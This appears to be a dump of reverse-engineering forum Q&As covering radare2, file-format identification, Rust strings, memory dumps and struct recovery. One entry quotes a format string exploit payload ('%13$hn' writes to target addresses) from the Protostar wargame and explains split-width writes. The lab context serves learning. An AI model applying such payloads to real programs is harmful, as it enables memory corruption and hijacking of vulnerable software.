        "Body": "<p>I've just started using radare2 and I've noticed a dot when I tried to disassamble one on my programs. The output is:</p>\n<pre><code>0x00000000      48b841000000.  movabs rax, 0x41\n</code></pre>\n<p>I understand that 0x48 is the REX prefix for mov (0xB8) and immediate operand is 0x41. If 0x41 consumed 64 bits it would be 0x0000000000000041 (8 bytes).</p>\n<p>Total length of the instruction should be 10 bytes (0xA) which makes sense as my next instruction starts at 0xA (as first one consumes 10 bytes starting from 0x0 to 0x9)</p>\n<p>What is the meaning of dot in disassembly above? Could someone maybe point me to documentation that talks about disassembly format?</p>\n",
        "Title": "Radare2 - what does dot mean in disassembly",
        "Tags": "|disassembly|radare2|x86-64|",
        "Answer": "<p>Since the number of bytes in the instructions can be different and they had to put some limit on the column width, this is how it is indicated that there are more bytes in the instruction that those that you see on the screen. A '.' indicates that there's more and it doesn't mean it's always zero(s)- it can be anything.</p>\n<p>If this bothers you there are flags that control the behavior.</p>\n<pre><code>:&gt; e asm.nbytes = 6\n</code></pre>\n<p>controls how many bytes are shown, and if you put that value to a relatively small number almost all will end with a <code>'.'</code>.</p>\n<p>You could put there <code>10</code> to see the full instruction but of course that would push opcodes more to the right. You can also turn the bytes off to save some space:</p>\n<pre><code>:&gt; e asm.bytes = false\n</code></pre>\n"
    },
    {
        "Id": "25572",
        "CreationDate": "2020-07-28T16:51:00.460",
        "Body": "<p>Running an executable in Cuckoo sandbox gives me its dynamic API information. How do these API calls differ from their static API information (eg. If I were to just put the executable through IDA Pro or Ghidra?) I know that the static API calls have different names from the dynamic ones, but are they two separate non intersecting sets (i.e. each particular API name only belongs to either the static API category or the dynamic API category, and never both?)</p>\n",
        "Title": "How does an executable\u2019s static API differ from it\u2019s dynamic API?",
        "Tags": "|ida|disassembly|binary-analysis|malware|ghidra|",
        "Answer": "<p>First of all, I want to clarify some of the concepts about &quot;API calls.&quot; I will explain these concepts, mainly thinking of WinAPI and PE files. I'm not claiming these definitions are correct for all systems.</p>\n<p><strong>Operating system programming interfaces</strong></p>\n<p>I assume you are referring to OS API libraries as API. OS API is consists of different interfaces that user-mode applications can use to access the operating system. Using OS API, user-mode applications can abstract system call interfaces with more portable ones. There are many other benefits of OS API libraries like diversifying basic system call operations with high-level operations and making system call interface independent from user mode application interface. Some known OS API implementations are WinAPI and Glibc.</p>\n<p><strong>How can obtain shared library (DLL files in Microsoft Windows systems) information from an executable file?</strong></p>\n<p>Most of the time shared library information is given in the PE header. And static analysis tools extract that information from that. I'm sure disassemblers like IDA has advanced features and extensions for detecting dynamic library loading.</p>\n<p><strong>How can we get dynamically loaded library information?</strong></p>\n<p>Some software like computer viruses and commercial products want to hide their operations from inspection to hide their activities or protect their intellectual property. They use dynamic loading to mask their OS and other API usages. They use <em>LoadLibrary</em> like API functions (and lots of different variations) for loading shared libraries. A sandbox or debugger can access this information hooking these functions. But, it is not sure that they can find all instances of dynamic loading.</p>\n<p><strong>Can static and dynamic shared library information differ?</strong></p>\n<p>I don't know how Cuckoo and IDA access shared library information, but static and dynamic analysis can show different shared libraries. Theoretically, some static analysis methods could find all dynamically loaded libraries. Which does not mean they mostly do.</p>\n"
    },
    {
        "Id": "25584",
        "CreationDate": "2020-07-30T08:53:39.667",
        "Body": "<p>I am trying to reverse engineer an image file generated by my microscope. It is supposed to be an HDR image. The file has very distinct pattern in HEX editor but I am unable to recognise it:\n<a href=\"https://i.stack.imgur.com/aAASu.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/aAASu.jpg\" alt=\"enter image description here\" /></a></p>\n<p>First 16 bytes are some sort of a header and then every 4th byte is 0x3C, and sometimes it is 0x3D instead. The file continues with the same pattern until the end and ends with 0x3C as well.\nIs this something very proprietary or do any of you guys recognise it?</p>\n<p><strong>Edit</strong>: The entire file is available <a href=\"https://drive.google.com/file/d/1jP8mGYxNcpvN0f1whTgiLwe7jatWe1PW/view?usp=sharing\" rel=\"nofollow noreferrer\">here</a>.</p>\n",
        "Title": "What image format is this?",
        "Tags": "|file-format|",
        "Answer": "<p>Without more information, as suggesting by the various comments, it's hard to be completely sure but, based on the information available, the format seems to be a very simple uncompressed vendor-specific 'raw' format with no specific identification or 'magic' numbers or tagged structure.</p>\n<p>What follows is my best guess as to the format.  Having a full file and a picture of the image it is thought to contain would confirm specific details either way.</p>\n<p>The header appears to have the following format -</p>\n<pre><code>00000000: 00000800    // width of image (W) = 2048 pixels\n00000004: 00000600    // height of image (H) = 1536 pixels\n00000008: 0000000C    // number of bytes per pixel (B) = 12 bytes\n0000000C: 00006000    // number of bytes per row (T) = W * B, probably rounded up to multiple of 8 or 16 \n</code></pre>\n<p>The suggested size of 2048x1536 does appear consistent with specifications from several digitail/usb microscopes that are available online.</p>\n<p>The pixel data then follows for each row, with each pixel appearing to be stored as 3x 32-bit IEEE floating-point value (i.e. B = 12 bytes.) These three values being, presumably, R, G &amp; B components in some order.</p>\n<pre><code>// 1st row\n00000010: 3C8B50D4 3C8F6AF0 3C8974E5    // 1st pixel = 0.017006, 0.017507, 0.016779\n0000001C: ....\n</code></pre>\n<p>Subsequent rows will appear <code>T</code> bytes beyond the previous row.</p>\n<pre><code>// 2nd row (at 0x00000010 + 0x00006000)\n00006010: ....\n\n// 3rd row (at 0x00000010 + 0x00006000 x 2)\n0000C010: ....\n\n// 4th row (at 0x00000010 + 0x00006000 x 3)\n00012010: ....\n\netc...\n</code></pre>\n<p>If correct, this would suggest your original file is relatively large at around 36MB.</p>\n"
    },
    {
        "Id": "25590",
        "CreationDate": "2020-08-02T08:50:27.180",
        "Body": "<p>I have some measured data comes from a various types of sensors. The sensors are connected to a data-logger in order to store measurement data. After measurement, the data transported and stored in a logosense data-logger.</p>\n<p><strong>EDIT:</strong> For reading the stored measurement data we can use &quot;HYDRAS 3&quot; a software developed by OTT (using RS232 serial connection and OTT hrdrosence protocol). After reading the data this <a href=\"https://privatebin.net/?e57a3210c8ba7673#BKqxHMT8wR4chTygifft9iGdCZADT2fGdhWtHT1N2U4B\" rel=\"nofollow noreferrer\">read-file</a> has been obtained. At the same time we have monitored the serial port and the communication between the data-logger and HYDRAS to obtain the following <a href=\"https://privatebin.net/?625ee60b6c8749ec#GRK2MQFZbHbm2Eghqt1pLEeVoRiLCzAef3AW8eQur3PE\" rel=\"nofollow noreferrer\">monitor-file</a>.</p>\n<p>My question is how can i map these two file and extract the measured data at different measurement times from the monitor-file?(or just understand the file).</p>\n<p>It seems that my question is not a cryptography problem, I was wondering how Reverse Engineering can solve my problem. Any starting tips?</p>\n<p>P.S. the read-file is just for level sensor and the measured data are in meters. e.g. 3.522 at time 10:00, 3.515 at time 11:00 and both are measured on 11/11/2019</p>\n<p>Any help or guidelines will be greatly appreciated. Thank you.</p>\n",
        "Title": "How to extract information from a binary file knowing the target info",
        "Tags": "|ida|binary-analysis|decryption|unknown-data|",
        "Answer": "<ol>\n<li><p>it is surprising that HYDRAS 3 does not allow you to export data at least in csv format.</p>\n</li>\n<li><p>monitor-file is a log file not so interesting</p>\n</li>\n<li></li>\n</ol>\n<h2>all data you needs are in the read-file\nI quickly adapted an html file, which I use to extract my data from a text file, to your read-file.\nIt draws a curve of your data.\nThe ERR.05 ERR.10 value are replaced by the value 0.000\nIf it can help you, here it is:</h2>\n<pre><code>&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD HTML 4.01 Transitional//EN&quot;&gt;\n&lt;html&gt;\n    \n    &lt;head&gt;\n        &lt;META content=&quot;text/html; charset=ISO-8859-2&quot; http-equiv=&quot;content-type&quot;&gt;\n        &lt;script src=&quot;https://cdnjs.cloudflare.com/ajax/libs/dygraph/2.1.0/dygraph.min.js&quot;&gt;&lt;/script&gt;\n        &lt;link rel=&quot;stylesheet&quot; href=&quot;https://cdnjs.cloudflare.com/ajax/libs/dygraph/2.1.0/dygraph.min.css&quot; /&gt;\n        \n        &lt;title&gt;extract data from text file&lt;/title&gt;\n    &lt;/head&gt;\n    \n    &lt;body&gt;\n        \n        &lt;div id=&quot;wrap&quot;&gt;\n            &lt;div id=&quot;header&quot;&gt;\n                \n                &lt;div id=&quot;main&quot;&gt;\n                    \n                    &lt;h1&gt;extract data from text file (read-file.txt HYDRAS 3)&lt;/h1&gt;\n                    &lt;p&gt;Nota: &lt;BR&gt;\n                        Adapt to your needs in the function parseFile &lt;BR&gt;\n                        &lt;BR&gt;\n                    &lt;/p&gt;\n                    \n                    &lt;form name=&quot;frmParse&quot; action=&quot;&quot;&gt;\n                        &lt;p&gt;\n                            File:\n                            &lt;input type=&quot;file&quot; name=&quot;fileinput&quot; onchange='openFile(event)' /&gt;\n                        &lt;/p&gt;\n                        \n                        &lt;p&gt;Output:&lt;/p&gt;\n                        &lt;p&gt;\n                            &lt;textarea name=&quot;ed_output&quot; rows=&quot;10&quot; cols=&quot;87&quot; style=&quot;width: 700px;&quot;&gt;&lt;/textarea&gt;\n                            &lt;br&gt;\n                        &lt;/p&gt;\n                    &lt;/form&gt;\n                    \n                &lt;/div&gt;\n                \n                &lt;div id=&quot;graphdiv2&quot; style=&quot;width: 100%; height: 100%;&quot;&gt;\n                &lt;/div&gt;\n                \n                &lt;script type=&quot;text/javascript&quot;&gt;\n                    &lt;!--\n                    \n                    document.frmParse.ed_output.value = &quot;&quot;;\n                    var mytext=[];\n                    var csv_data=[];\n                    var csv_firstline=&quot;time,value\\n&quot;;\n                    String.prototype.beginsWith = function (string) {\n                        return(this.indexOf(string) === 0);\n                    };\n                    \n                    function parseFile() {\n                        document.frmParse.ed_output.value = &quot;&quot;;\n                        \n                        var index = 0;\n                        var newtext=csv_firstline;\n                        var v1=&quot;&quot;;\n                        var v2=&quot;&quot;;\n                        var date=&quot;&quot;;\n                        var newArray = [];\n                        for (var i = 0; i &lt; mytext.length -1 ; i++ ) {\n                            if (mytext[i].includes(&quot; Date:&quot;)){ \n                                v1=mytext[i].match(/\\d\\d\\/\\d\\d\\/\\d\\d\\d\\d/g);\n                                date=(moveLastArrayElementToFirstIndex(v1.toString().split(&quot;/&quot;))).join('-') ;// date mm/dd/yyyy become yyyy-mm-dd\n                            }\n                            if (mytext[i].includes(&quot;.&quot;)){ \n                                v2=mytext[i].match(/ (.*\\..*) /g);\n                                if (v2!=null){\n                                    var time=mytext[i].match(/\\((\\d\\d:\\d\\d:\\d\\d)\\)/g).toString().replace(/[()]/g, '');\n                                    var txt=date +&quot;T&quot; +time.toString() +&quot;Z,&quot; + v2.toString().trim().replace(/(Err.\\d\\d)/g, '0.000');//Err. value become 0.000\n                                    newtext+=txt +&quot;\\n&quot;;\n                                    newArray.push(txt);\n                                }\n                            }\n                            \n                        }\n                        document.frmParse.ed_output.value = newtext;\n                        csv_data=newArray.join(&quot;\\n&quot;);\n                        processData();\n                    }\n                    \n                    //graph csv with Dygraph\n                    function processData() {\n                        g2 = new Dygraph(\n                        document.getElementById(&quot;graphdiv2&quot;),\n                        csv_data,\n                        {\n                            xlabel: &quot; &quot;,\n                            ylabel: &quot; &quot;,\n                            title: csv_firstline,\n                            showRangeSelector: true,\n                            rangeSelectorHeight: 30,\n                            rangeSelectorPlotStrokeColor: 'black',\n                            rangeSelectorPlotFillColor: 'grey'\n                        }\n                        );\n                    }\n                    \n                    \n                    //Moves last element in an array to the front\n                    function moveLastArrayElementToFirstIndex(this_array) {\n                        var new_array = new Array();\n                        new_array[0] = this_array[this_array.length-1]; //first element is last element    \n                        for(var i=1;i&lt;this_array.length;i++) { //subsequent elements start at 1\n                            new_array[i] = this_array[i-1];\n                        }\n                        return new_array;\n                    }\n                    \n                    \n                    function readAsText(file) {\n                        var reader = new FileReader();\n                        reader.onload = function() {\n                            mytext = reader.result.split(&quot;\\n&quot;);\n                            document.frmParse.ed_output.value = &quot;&quot;;\n                            parseFile();\n                        };\n                        reader.readAsText(file);\n                    }\n                    \n                    \n                    var openFile = function(event) {\n                        document.frmParse.ed_output.value = &quot;&quot;;\n                        var input = event.target;\n                        readAsText(input.files[0]);\n                    };\n                    \n                    function clearFileInput(){\n                        document.frmParse.fileinput.value = &quot;&quot;;\n                    }\n                    \n                    \n                &lt;/script&gt;\n                \n            &lt;/body&gt;\n        &lt;/html&gt;\n\n\n    \n</code></pre>\n"
    },
    {
        "Id": "25606",
        "CreationDate": "2020-08-04T09:32:10.967",
        "Body": "<p><a href=\"https://doc.rust-lang.org/book/ch04-01-what-is-ownership.html#ways-variables-and-data-interact-move\" rel=\"nofollow noreferrer\">According to RUST documentation</a>, strings are stored this way :</p>\n<p><a href=\"https://i.stack.imgur.com/731rx.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/731rx.png\" alt=\"enter image description here\" /></a></p>\n<p>This is a statement I can verify while reversing rust binaries.\nThe thing is that when I am reversing rust binaries, I likely encounter cases where capacity is lower than length of the string, eg :</p>\n<pre><code>[stack]:00007FFC8BE97218 str_ABCED dq offset ABCED               ; DATA XREF: XX\n[stack]:00007FFC8BE97218                                         ; (len=10) ABCEDFGHIJ\n[stack]:00007FFC8BE97220 dq 28h                                  ; String len: 40\n[stack]:00007FFC8BE97228 cap_ABCED dq 25h                        ; String 'capacity'\n</code></pre>\n<p>How is such a thing possible? Do any resource exists explaining rust internals?</p>\n",
        "Title": "Rust string capacity lower than string lenght",
        "Tags": "|debugging|memory|",
        "Answer": "<p>have you considered the possibility that it might be using the <strong><a href=\"https://doc.rust-lang.org/std/primitive.str.html\" rel=\"nofollow noreferrer\">str</a></strong><br />\ninstead of <strong><a href=\"https://doc.rust-lang.org/std/string/struct.String.html\" rel=\"nofollow noreferrer\">String</a></strong> which only has length and no capacity and<br />\nyou are looking at a bogus third value ?</p>\n<pre><code>:\\&gt;cat main.rs\nfn main() {\n        let s1 = String::from(&quot;Hello, std::world!&quot;);\n    println!(&quot;{}&quot;,s1);\n        println!(&quot;{} {}&quot;,s1.capacity() , s1.len());\n        let s2 = &quot;Hello, std::world!o&quot;;\n    println!(&quot;{}&quot;,s2);\n        println!(&quot;{} {}&quot;,s2.capacity() , s2.len());\n}\n:\\&gt;cargo build\n   Compiling hello_world v0.1.0 \nerror[E0599]: no method named `capacity` found for reference `&amp;str` in the current scope\n --&gt; main.rs:7:22\n  |\n7 |     println!(&quot;{} {}&quot;,s2.capacity() , s2.len());\n  |                         ^^^^^^^^ method not found in `&amp;str`\n</code></pre>\n<p>like shown below for the first string</p>\n<pre><code>0:000&gt; dv /v \n00000064`f0cff920              s2 = struct str*\n00000064`f0cff8c0              s1 = &quot;Hello, std::world!&quot;\n0:000&gt; dpa 00000064`f0cff920 l3\n00000064`f0cff920  00007ff6`65cf2638 &quot;Hello, std::world!o&quot;\n00000064`f0cff928  00000000`00000013\n00000064`f0cff930  00000000`00000010  &lt;&lt;&lt;&lt;&lt;&lt;&lt;  bogus garbage \n0:000&gt; dpa 00000064`f0cff8c0 l3\n00000064`f0cff8c0  00000174`116191f0 &quot;Hello, std::world!..............................&quot;\n00000064`f0cff8c8  00000000`00000012\n00000064`f0cff8d0  00000000`00000012  &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt; correct\n</code></pre>\n"
    },
    {
        "Id": "25612",
        "CreationDate": "2020-08-06T00:07:55.690",
        "Body": "<p>This is my first time posting here and also my first time attempting to do reverse engineering of this kind.</p>\n<p>Let\u00b4s get to the point:\nI have to find a way of reading some phone call audio files. The files have a mysterious &quot;.vx8&quot; extension which yields no relevant results on google. The format seems to be proprietary from the software.</p>\n<p>On other questions here, I saw that trying to open the file in VLC and looking for metadata (Ctrl+I) is usefull. This yields no information on VLC other than the filename.</p>\n<p>I do not have access to the software that makes these files (which is key part of some suggestions found here as well)</p>\n<p>Here is the head of the hexdump for some files.</p>\n<pre><code>hexdump -C 01Z7I579.vx8|head\n00000000  01 e1 70 fc e1 ee 64 d6  01 80 80 08 80 08 08 08  |..p...d.........|\n00000010  09 00 08 08 08 80 08 08  08 80 80 80 09 00 80 08  |................|\n00000020  80 08 80 80 80 80 08 80  08 80 08 80 08 09 18 80  |................|\n00000030  08 80 08 08 08 08 08 08  08 80 80 08 08 80 80 80  |................|\n00000040  08 08 08 08 08 08 80 08  80 80 80 08 08 08 80 09  |................|\n00000050  18 08 80 80 80 09 18 80  80 08 80 08 08 80 81 90  |................|\n00000060  80 08 08 81 90 88 18 80  08 08 08 80 08 80 00 90  |................|\n00000070  08 08 08 80 09 18 80 08  80 08 80 08 80 08 80 00  |................|\n00000080  90 08 80 80 08 80 08 80  09 18 09 18 80 09 01 89  |................|\n00000090  00 08 80 08 80 80 00 98  10 90 08 80 88 18 80 08  |................|\n\nhexdump -C 01Z7I5EZ.vx8|head\n00000000  01 d1 55 86 7c f0 64 d6  01 08 08 08 80 08 08 08  |..U.|.d.........|\n00000010  80 08 08 08 08 08 08 08  08 08 08 08 08 08 08 08  |................|\n00000020  08 08 08 08 08 08 08 08  08 08 08 08 08 08 08 08  |................|\n00000030  08 08 80 08 08 08 08 08  08 08 08 08 08 08 08 08  |................|\n00000040  08 08 80 08 08 08 08 08  08 08 80 08 08 80 08 08  |................|\n00000050  08 08 08 08 08 08 08 08  08 08 08 08 08 08 08 08  |................|\n*\n00000070  08 08 08 08 08 08 08 08  08 08 08 08 80 80 80 08  |................|\n00000080  08 08 08 08 08 08 08 08  08 08 08 08 80 08 08 08  |................|\n00000090  08 08 08 08 08 08 08 08  08 08 08 08 08 08 80 08  |................|\n\nhexdump -C 01Z7I5IZ.vx8|head\n00000000  01 16 62 09 54 f1 64 d6  01 fd 14 8a 82 10 a8 a2  |..b.T.d.........|\n00000010  0c 23 42 83 e8 99 0b 88  38 a3 22 b1 0f 08 11 12  |.#B.....8.&quot;.....|\n00000020  ad 02 0f 94 88 09 03 00  a2 49 0c b3 6b c2 1d 11  |.........I..k...|\n00000030  b9 34 0b 30 32 ca 90 49  90 b0 01 b0 08 13 9f 08  |.4.02..I........|\n00000040  88 a1 51 12 8b a2 4d 01  92 af 82 4c 80 80 18 a0  |..Q...M....L....|\n00000050  34 10 a3 28 f8 18 80 0b  c8 81 9a 60 28 9b 09 00  |4..(.......`(...|\n00000060  b7 21 9b 3c 81 92 4b ac  52 ab 52 9a 0b a3 0e 85  |.!.&lt;..K.R.R.....|\n00000070  29 92 b8 23 a0 2a db 39  98 20 2c e2 29 b9 62 1b  |)..#.*.9. ,.).b.|\n00000080  85 3b c3 48 a9 d8 90 1c  54 09 c1 09 a1 20 38 e8  |.;.H....T.... 8.|\n00000090  2a 99 31 00 1a ab b2 52  a3 73 bf 02 bb 33 1d 12  |*.1....R.s...3..|\n\nhexdump -C 01Z7I589.vx8|head\n00000000  01 96 1c 87 09 ef 64 d6  01 20 39 35 3a 21 1a 8b  |......d.. 95:!..|\n00000010  10 cb 32 b2 33 22 dc 91  f9 92 80 a4 01 a3 03 b3  |..2.3&quot;..........|\n00000020  37 01 14 1b 81 28 a1 6a  a1 3a af bb ff 9a a9 40  |7....(.j.:.....@|\n00000030  20 24 49 02 0a 98 80 b9  23 b2 44 00 9a f0 b9 c2  | $I.....#.D.....|\n00000040  81 a3 04 a2 11 83 33 20  25 28 18 39 2a 69 08 1b  |......3 %(.9*i..|\n00000050  2e cb ef c1 ba 13 03 85  31 93 09 b0 81 bb 34 99  |........1.....4.|\n00000060  52 29 11 bb bf f0 9a 04  00 82 30 c2 39 92 42 09  |R)........0.9.B.|\n00000070  31 bc 41 0a 51 99 11 cf  9b ff 1a 90 20 18 42 19  |1.A.Q....... .B.|\n00000080  21 9a 00 0a a3 2a 97 11  a2 1b e1 e8 09 93 90 10  |!....*..........|\n00000090  03 91 48 03 31 58 31 08  29 12 19 8b 10 8d da df  |..H.1X1.).......|\n\n</code></pre>\n<p>As you can see, for some of the files, 8\u00b4s and 0\u00b4s are abundant (I have no clue why) and some other don\u00b4t have them at all.</p>\n<p>The 8th and 9th bytes are always <code>d6 01</code></p>\n<p>The audio samples seem to begin on the 10th byte.</p>\n<p>I have requested to the person with access to the files and software to send me some pairs of files for the same audio (.mp3 and .vx8) to try to see the difference in size and infer some bitrate (As suggested in other questions). They have sent me mp3 files before (not for the same phone calls) and the mp3 files seem to be larger than the .vx8, but I will have to confirm this once I have the pairs.</p>\n<p>It would be very helpful to know any other strategies that I might be missing.</p>\n<p>Thank you</p>\n",
        "Title": "Reverse engineer a proprietary audio file",
        "Tags": "|file-format|",
        "Answer": "<p>It's look like data from a wav file</p>\n<p>Try to use free software Audacity<br />\nFile -&gt; Import -&gt; Raw Data...\nEncoding : 16bit pcm, or 8bit or ...\nByte order Little Endian ,\nChannels : 1 Mono,\nStart offset : 0 bytes ,\nAmount to import : 100%\nSample rate 16000 Hz. or 8000 or ...</p>\n<p>if it doesn't work it would be interesting to have the name of the software\nthat produces these vx8 files and if possible a complete file</p>\n"
    },
    {
        "Id": "25615",
        "CreationDate": "2020-08-06T14:11:59.150",
        "Body": "<p>I have a memory dump of notepad.exe. Radare's <code>iS</code> to print sections gives me the mapped files (executable and it's dll's) as well as the many sections simply marked 'Memory_Section', which from what I can tell are the memory pages mapped out by the program to form the heap. Radare gives the permissions of these pages but not the flags they were created with, in particular if they are shared or private, reserved or committed, file backed or anonymous, etc. I assume working memory will generally be anonymous and private anyway, but I am working in the context of malware analysis, so nothing can be taken from granted.</p>\n<p>How can I find the specific type that a particular memory mapping is? Can this be done statically, or will I need to emulate the memory dump somehow?</p>\n",
        "Title": "Finding mapped memory page flags in Radare2",
        "Tags": "|windows|radare2|memory-dump|",
        "Answer": "<p>use <strong>im</strong> to get the type and state</p>\n<p>they are not deciphered like windbg can but you can get the flags</p>\n<p>radare2</p>\n<pre><code>[0x7ff6c5153380]&gt; im~0xcf39d2c000\n0xcf39d2c000 +0x4000 rw- paddr=0x0000959e state=0x00001000 type=0x00020000 allocation_protect=0x00000004 Memory_Section\n[0x7ff6c5153380]&gt; iS~0xcf39d2c000\n2   0x0000959e    0x4000 0xcf39d2c000      0x4000 -rw- Memory_Section_2\n[0x7ff6c5153380]&gt;       \n</code></pre>\n<p>windbg</p>\n<pre><code>0:003&gt; !vprot cf`39d2c000\nBaseAddress:       000000cf39d2c000\nAllocationBase:    000000cf39cb0000\nAllocationProtect: 00000004  PAGE_READWRITE\nRegionSize:        0000000000004000\nState:             00001000  MEM_COMMIT\nProtect:           00000004  PAGE_READWRITE\nType:              00020000  MEM_PRIVATE\n</code></pre>\n<p>these are returned by calling VirtualQuery/Ex API 's</p>\n<p>MEMORY_BASIC_INFORMATION</p>\n<p><a href=\"https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-memory_basic_information\" rel=\"nofollow noreferrer\">https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-memory_basic_information</a></p>\n"
    },
    {
        "Id": "25633",
        "CreationDate": "2020-08-09T16:22:48.407",
        "Body": "<p><strong>Protostar</strong></p>\n<p>I was doing the protostar format string (3rd challenge). where we have to change the value of a variable target with format string buffer overflow. so, I came up to this medium  article: <a href=\"https://medium.com/bugbountywriteup/expdev-exploit-exercise-protostar-format-3-33e8d8f1e83\" rel=\"nofollow noreferrer\">HERE</a></p>\n<p>So, he has described three types of attacks. the second and third ones seem hard to understand.</p>\n<p><strong>2 byte</strong></p>\n<p>I want to know that he has divided the target value (0x00000000) into 2 bytes (0000) in the second method. it means that we are splitting the values into two bytes. am I right? and if I am right what is the thing he did for getting the second address of the target(0x80496f6). how could he possibly get that from the real address (0x80496f4)? all I can understand is he might have subtracted 0x2 from the real address(0x80496f4).\nDoes the value of the target stores into two addresses?\nHis command is :</p>\n<pre><code>python -c 'print &quot;\\xf4\\x96\\x04\\x08&quot; + &quot;\\xf6\\x96\\x04\\x08&quot; + &quot;%13$hn&quot; + &quot;%12$hn&quot;'\n</code></pre>\n",
        "Title": "2 byte format string attacks",
        "Tags": "|disassembly|c|buffer-overflow|address|",
        "Answer": "<p>The second and third methods are simply variants of the first method, using different write sizes.</p>\n<p>The <code>%n</code> format specifier writes 4 bytes to the destination address. There are times where you may not want to write this many bytes as once; maybe you only want to partially overwrite a value, or more importantly, it may be too slow this way. Let's say you wanted to write the value 0xdeadbeef; in this particular case, the program has to print out 3,735,928,559 characters, which can take a while to write. It is often quicker to do several smaller writes instead of one huge write. So, the specifier can be used with a length modifier to change the number of bytes written. <code>%hn</code> is 2 bytes, and <code>%hhn</code> is one byte.</p>\n<p>So, you can break the problem into two chunks. Let's use the address from your example, 0x80496f4, as the target where we want to write. The first 2 bytes (little endian, 0xefbe) can be written at 0x80496f4 with an <code>%hn</code>. Since we're going 2 bytes at a time, the next write needs to be at 0x80496f4+2, which is where 0x80496f6 comes from. Here, the next two bytes can be written with <code>%hn</code>, 0xadde.</p>\n<p>Or, you can do it in 4 chunks by doing single-byte writes.</p>\n"
    },
    {
        "Id": "25657",
        "CreationDate": "2020-08-11T18:24:14.557",
        "Body": "<p>Assembler code from data segment:</p>\n<pre><code>.data:006A5038 dword_6A5038    dd 0\n.data:006A5038                   \n.data:006A503C ; char *off_6A503C\n.data:006A503C off_6A503C      dd offset aOption0\n.data:006A503C                                   \n.data:006A503C                                   \n.data:006A5040 dword_6A5040    dd 1              \n.data:006A5040                                   \n.data:006A5044                 dd offset aOption1\n.data:006A5048                 db    2\n.data:006A5049                 db    0\n.data:006A504A                 db    0\n.data:006A504B                 db    0\n.data:006A504C                 dd offset aOption2\n.data:006A5050                 db    3\n.data:006A5051                 db    0\n.data:006A5052                 db    0\n.data:006A5053                 db    0\n.data:006A5054                 dd offset aOption3\n.data:006A5058                 db    4\n\n..................................................\n.data:006A5294                 dd offset aOption4bh\n.data:006A5298                 db  4Ch ; L\n.data:006A5299                 db    0\n.data:006A529A                 db    0\n.data:006A529B                 db    0\n.data:006A529C                 dd offset aOption4ch \n.data:006A52A0                 db 0FFh\n.data:006A52A1                 db 0FFh\n.data:006A52A2                 db 0FFh\n.data:006A52A3                 db 0FFh\n</code></pre>\n<p>Assembler code of code segment, it piece of code below is loop, and during this loop checks eax with value 0xffffffff for end of loop; every step of loop to do some opertion with compare this strings named &quot;options&quot;. i.e. there is string, and string's  numeric indefiner, and for end of loop checks eax if 0xffffffff.</p>\n<pre><code>.text:005334DF                 mov     eax, dword_6A5040[edi*8]\n.text:005334E6                 inc     edi\n.text:005334E7                 cmp     eax, 0FFFFFFFFh\n.text:005334EA                 jnz     loc_533433\n</code></pre>\n<p>Question- how this data from data segment (strings and numeric indefiners) might look in high-level languages like c++? May be is it structures, how arranged this structures? It like global variables, because placed in data segment. Thanks in advance!</p>\n",
        "Title": "Recognize of data block",
        "Tags": "|disassemblers|",
        "Answer": "<pre><code>.text:005334DF mov     eax, dword_6A5040[edi*8]\n</code></pre>\n<ol>\n<li>edi is multiplied by 8</li>\n<li>edi is a 32 bit  register</li>\n<li>so by inferance edi can range from 0 to 0xffffffff</li>\n<li>so edi can be <code>0*8 = 0,1*8 = 8,2*8=16,.....n*8 =8n,....</code></li>\n<li>or multiplication table of 8</li>\n</ol>\n<p>arrays and pointers are represented in x86 assembly with square brackets</p>\n<p>this <code>6A5040[edi*8]</code> denotes Array Access so</p>\n<pre><code>.data:006A5040 dword_6A5040    dd 1  \n</code></pre>\n<p>will be the first member of array</p>\n<p>in a higher language this will look like</p>\n<p><code>*int eax = *(int *)6a5040*</code>  or</p>\n<p><code>int eax = foo[i]</code></p>\n<p>where foo is an array of some type</p>\n<p>int foo[] = { {1,ptr} , {2,ptr} ,{3.ptr}, ...... ,{n ,ptr} };</p>\n<p>inc edi here index is increased  this will be like <code>i++;</code></p>\n<p>cmp and jnz will map to a conditional  like</p>\n<p><code>if (eax != val) {do something}</code></p>\n<p>or</p>\n<pre><code>while (eax!=val) {do something}\n</code></pre>\n<p>putting all this together one can derive a higher levelcode that would yield similar work flowlike below</p>\n<pre><code>#include &lt;stdio.h&gt; \ntypedef struct _FOO \n{\n    unsigned int a;\n    unsigned int *b;\n}Foo,*PFoo;\nunsigned int  mint[] = {0,1,2,3,4,5,6,7,8,0xffffffff};\nFoo myfoo[] = \n{ \n    {mint[ 0],&amp;(mint[ 0])},\n    {mint[ 1],&amp;(mint[ 1])},\n    {mint[ 2],&amp;(mint[ 2])},\n    {mint[10],&amp;(mint[10])} \n};\nint main (void) \n{\n    int i =0;    \n    while(myfoo[i].a != 0xffffffff)    \n    {\n        printf(&quot;%u\\t%p\\n&quot;,  myfoo[i].a, myfoo[i].b);\n        i++;\n    }\n    return 0;\n}\n</code></pre>\n<p>and disassembly wouldbe like</p>\n<pre><code>0:000&gt; uf .\nfoo!main:\n013410a0 55              push    ebp\n013410a1 8bec            mov     ebp,esp\n013410a3 51              push    ecx\n013410a4 c745fc00000000  mov     dword ptr [ebp-4],0\n\nfoo!main+0xb:\n013410ab 8b45fc          mov     eax,dword ptr [ebp-4]\n013410ae 833cc5f8993801ff cmp     dword ptr foo!myfoo (013899f8)[eax*8],0FFFFFFFFh\n013410b6 742e            je      foo!main+0x46 (013410e6)\n\nfoo!main+0x18:\n013410b8 8b4dfc          mov     ecx,dword ptr [ebp-4]\n013410bb 8b14cdfc993801  mov     edx,dword ptr foo!myfoo+0x4 (013899fc)[ecx*8]\n013410c2 52              push    edx\n013410c3 8b45fc          mov     eax,dword ptr [ebp-4]\n013410c6 8b0cc5f8993801  mov     ecx,dword ptr foo!myfoo (013899f8)[eax*8]\n013410cd 51              push    ecx\n013410ce 6890013801      push    offset foo!__xt_z+0x4 (01380190)\n013410d3 e858000000      call    foo!printf (01341130)\n013410d8 83c40c          add     esp,0Ch\n013410db 8b55fc          mov     edx,dword ptr [ebp-4]\n013410de 83c201          add     edx,1\n013410e1 8955fc          mov     dword ptr [ebp-4],edx\n013410e4 ebc5            jmp     foo!main+0xb (013410ab)\n\nfoo!main+0x46:\n013410e6 33c0            xor     